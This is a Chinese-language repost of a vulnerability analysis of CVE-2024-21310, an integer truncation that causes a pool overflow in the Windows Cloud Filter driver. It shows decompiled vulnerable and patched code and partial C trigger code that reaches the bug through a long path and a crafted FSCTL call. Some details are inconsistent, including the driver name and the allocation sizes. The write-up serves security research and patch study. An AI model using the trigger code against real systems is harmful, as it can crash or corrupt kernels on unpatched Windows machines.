CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析

admin 2024年9月29日15:26:14评论45 views字数 7114阅读23分42秒阅读模式

CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析

此漏洞没有公开的概念验证,因此我们必须根据 Microsoft 提供的有限信息从头开始。我们需要对易受攻击且已修补的 clfd.sys 组件进行逆向工程和执行 BinDiff,以识别漏洞并找到触发漏洞的方法。

Microsoft 提供的信息可在以下链接中找到:Microsoft

此漏洞是由于数字截断错误导致的整数溢出。

什么是数字截断错误?

假设我们有一个 int64_t 类型的值和另一个 int16_t 类型的值,我们想将它们相加并将结果存储在 int16_t 类型的变量中。此示例将展示将结果存储在容量较小的数据类型中时如何发生截断。

int64_t large_value = 100000; 
int16_t small_value = 30000;

int16_t sum = (int16_t)(large_value + small_value);

large_value is a 64-bit integer (int64_t) with a value of 100,000.
small_value is a 16-bit integer (int16_t) with a value of 30,000.

large_value 和 small_value 的和是在 int64_t 上进行的,因为它是最大的类型。因此和为:

100,000+30,000=130,000

然后将总和的结果 (130,000) 转换为 int16_t。由于 int16_t 的范围是 -32,768 到 32,767,因此超出此范围的任何值都将被截断。

Bug 的根本原因。

我用于此漏洞利用的Windows版本:

CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析

需要激活Windows Long Path。为此,我按照以下链接中的说明进行操作:

  • Microfocus

  • Autodesk

从以下网站下载存在漏洞且已修补的驱动程序:Winbindex

第一步我们必须找到错误,为此我将在 cldfls.sys 的易受攻击的版本和修补版本之间进行bindiff 。

CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析

该漏洞位于HsmFltProcessSetPinState函数中,通过比较这两个函数可以看出,一个函数存在漏洞,另一个函数已修补。

CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析

现在我们要研究一下脆弱性产生的原因。

InformationFile = HsmiQueryFullFilePath(v22, v23, Object, 257i64, &PathSize); [1]
        HsmDbgBreakOnStatus((unsigned int)InformationFile);
        if ( InformationFile < 0 )
        {
          if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
            && (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
            && BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
          {
            WPP_SF_qqd(
              WPP_GLOBAL_Control->AttachedDevice,
              183i64,
              &WPP_78064aab483a35e2f1ef7b76ba44fd52_Traceguids,
              a2,
              v21,
              InformationFile);
          }
          goto LABEL_93;
        }
        v24 = PathSize + *(_WORD *)(a2 + 0x40); [2]
        LOWORD(v39) = 0;
        WORD1(v39) = v24;
        P = ExAllocatePoolWithTag(PagedPool, v24, 'sUsH'); [3]
        InformationFile = P == 0i64 ? 0xC000009A : 0;
        HsmDbgBreakOnStatus((unsigned int)InformationFile);
        if ( !P )
        {
          if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
            && (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
            && BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
          {
            WPP_SF_qd(
              WPP_GLOBAL_Control->AttachedDevice,
              184i64,
              &WPP_78064aab483a35e2f1ef7b76ba44fd52_Traceguids,
              a2,
              InformationFile);
          }
          goto LABEL_93;
        }
        memmove(P, *(const void **)(a2 + 72), *(unsigned __int16 *)(a2 + 64));
        LOWORD(v39) = *(_WORD *)(a2 + 64) - 2;
        memmove((char *)P + (unsigned __int16)v39, Src, (unsigned __int16)PathSize); [4]

[1] HsmiQueryFullFilePath函数在PathSize变量中返回我们从 NtCreateFIle 发送的路径的大小。

[2]在此部分代码中,发生整数溢出是因为PathSize是__int64,(a2 + 0x40)是WORD类型,即16 位(2 字节),而结果将存储在无符号 __int16 v24(2 字节)中。因此,为了产生溢出, PathSize必须是一个足够大的值,以便与 0x30 的和(*(_WORD *)(a2 + 0x40) 的值)存储在 v24 中时超出了 16 位范围。

如果PathSize= 0xFFFC且 ** *(_WORD *)(a2 + 0x40)= 0x30 ** 则结果为0x1002C但在v24中只会存储 0x2c 所以 v24=0x2c 因为只能存储 2 个字节因为变量是int16类型。

[3]然后, v24中的和的结果将用作分配大小为0x2c的块的大小

[4]在此部分代码中,将发生OOB 写入,因为在之前分配的大小为 0x2c 的块中,将写入大小为 0xFFFC 的长路径,并使用变量PathSize=0xFFFC作为大小。

漏洞补丁

我们来看一下微软对该功能所做的补丁。

InformationFile = HsmiQueryFullFilePath(v22, v20, a3, 0x101u, PathSize);
    HsmDbgBreakOnStatus(InformationFile);
    if ( InformationFile < 0 )
    {
      v23 = WPP_GLOBAL_Control;
      if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control
        || (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) == 0
        || BYTE1(WPP_GLOBAL_Control->Timer) < 2u )
      {
        goto LABEL_99;
      }
      v24 = 213;
      goto LABEL_28;
    }
    pusResult[1] = *(_WORD *)(a2 + 0x40);
    if ( (unsigned int)Feature_2686352701__private_IsEnabled() )
    {
      InformationFile = RtlUShortAdd(pusResult[1], (USHORT)PathSize[0], &pusResult[1]); [1]
      if ( InformationFile < 0 )
      {
        v23 = WPP_GLOBAL_Control;
        if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control
          || (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) == 0
          || BYTE1(WPP_GLO

[1] RtlUShortAdd函数接受两个值PathSize和 *(_WORD *)(a2 + 0x40),并检查总和是否溢出。如果溢出,则将结果设置为 USHORT 的最大值并返回错误代码。如果没有溢出,则将总和的结果保存在提供的变量中,并返回 0 以表示成功。

触发漏洞

为了触发该漏洞,我们需要访问存在漏洞的函数,因此我们将检查HsmFltProcessHSMControl函数,看看需要发送什么代码才能访问HsmFltProcessSetPinState。

case 0xC0000018:
      v99 = 0;
      Status = HsmiOpPrepareOperation(
                 CallbackData,
                 -1073741800,
                 *(_DWORD *)(Parameters + 8),
                 v13,
                 a2,
                 v9,
                 (__int64 *)&v87,
                 128,
                 &v85);
      HsmDbgBreakOnStatus(Status);
      if ( Status >= 0 )
      {
        v73 = (void *)Parameters;
        v26 = v84;
        Status = HsmFltProcessSetPinState(
                   (__int64)&v85,
                   (__int64)v13,
                   *(struct _FILE_OBJECT **)v88,
                   a2,
                   v9,
                   v87,
                   v84,
                   CallbackData,
                   v73,
                   v100,
                   Length,
                   v101);
        HsmDbgBreakOnStatus(Status);
        goto LABEL_209;
      }
      break;

它首先执行同步根注册。然后,它启动同步提供程序和同步过滤器 API 之间的通信:

struct _OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
GUID guid = { 0 };
WCHAR* dir = (WCHAR*)L"C:\ProgramData";
HANDLE hObject = NULL;
struct _IO_STATUS_BLOCK IoStatusBlock;
struct _IO_STATUS_BLOCK IoStatusBlock_control_file = { 0 };



guid.Data1 = 0xB196E670;
guid.Data2 = 0x59C7;
guid.Data3 = 0x4D41;

CRC32TableCreate();
GetFuncAddr();

CfUnregisterSyncRoot(L"C:\ProgramData\");

CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"test";
reg.ProviderVersion = L"1.0";
reg.ProviderId = guid;

CF_SYNC_POLICIES policies = { 0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.InSync = CF_INSYNC_POLICY_NONE;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;

HRESULT hr = CfRegisterSyncRoot(dir, &reg, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (FAILED(hr)) {
  printf("[-] CfRegisterSyncRoot failed with %d", GetLastError());
  return 0;
}

printf("[*] CfRegisterSyncRoot successn");

ObjectAttributes.RootDirectory = NULL;
ObjectAttributes.SecurityDescriptor = NULL;
使用 FSCTL 云过滤器(0x903BC)并将标签设置为0x9000001A(IO_REPARSE_TAG_CLOUD),设置参数以达到如上所示的易受攻击的函数(代码 = 0xC0000018 )。
RtlInitUnicodeString(&objdir,string );

InitializeObjectAttributes(&ObjectAttributes, &objdir, 0, 0, 0);
ObjectAttributes.Attributes = 64;


status = NtCreateFile(&hObject, GENERIC_READ | GENERIC_WRITE, &ObjectAttributes, &IoStatusBlock, 0, 0, 0, 3, 1, 0, 0);
if (!NT_SUCCESS(status)) {
  // Error al llamar a NtCreateFile, imprimir el código de error
  printf("Error al abrir el archivo: 0x%Xn", status);
  return 1;
}
printf("[*] tiggering Bug n");


unsigned int* control_buffer_2 = (unsigned int*)calloc(1, 0x100);
*control_buffer_2 = 0x9000001A;
control_buffer_2[1] = 0xC0000018;
control_buffer_2[2] = 0x20000;
control_buffer_2[3] = 0x0;
control_buffer_2[4] = 0x4;

  

fnNtFsControlFile(
  hObject,
  0,
  0,
  0,
  &IoStatusBlock_control_file,
  0x903BC,
  control_buffer_2,
  0x100,
  0,
  0);

字符串变量将包含长路径,RtlInitUnicodeString使用 Unicode字符串变量初始化 UNICODE_STRING 结构。然后InitializeObjectAttributes初始化OBJECT_ATTRIBUTES结构,该结构在NtCreateFile中用作参数。

现在让我们看看如何利用此漏洞。

CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析

HsmiQueryFullFilePath函数返回长路径的大小,正如我们在下面的 windbg 中看到的值0xFFD0。

CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析

包含[r15+40h]的值(即变量 *(_WORD *)(a2 + 0x40),其值为0x30)与PathSize相加(即HsmiQueryFullFilePath返回的路径大小),在那里发生整数溢出,然后使用相加的结果0x0作为大小来分配一个块。

CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析

这就是发生OOB 写入并触发漏洞的地方,因为mmemove将把大小为0xFFD0的长路径(这是我发送的路径的大小)复制到大小为0x20的块中。

CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析

这里我们看到了窗口消息。

写于 2024 年 9 月 26 日

原文始发于微信公众号(Ots安全):CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月29日15:26:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析https://cn-sec.com/archives/3218758.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息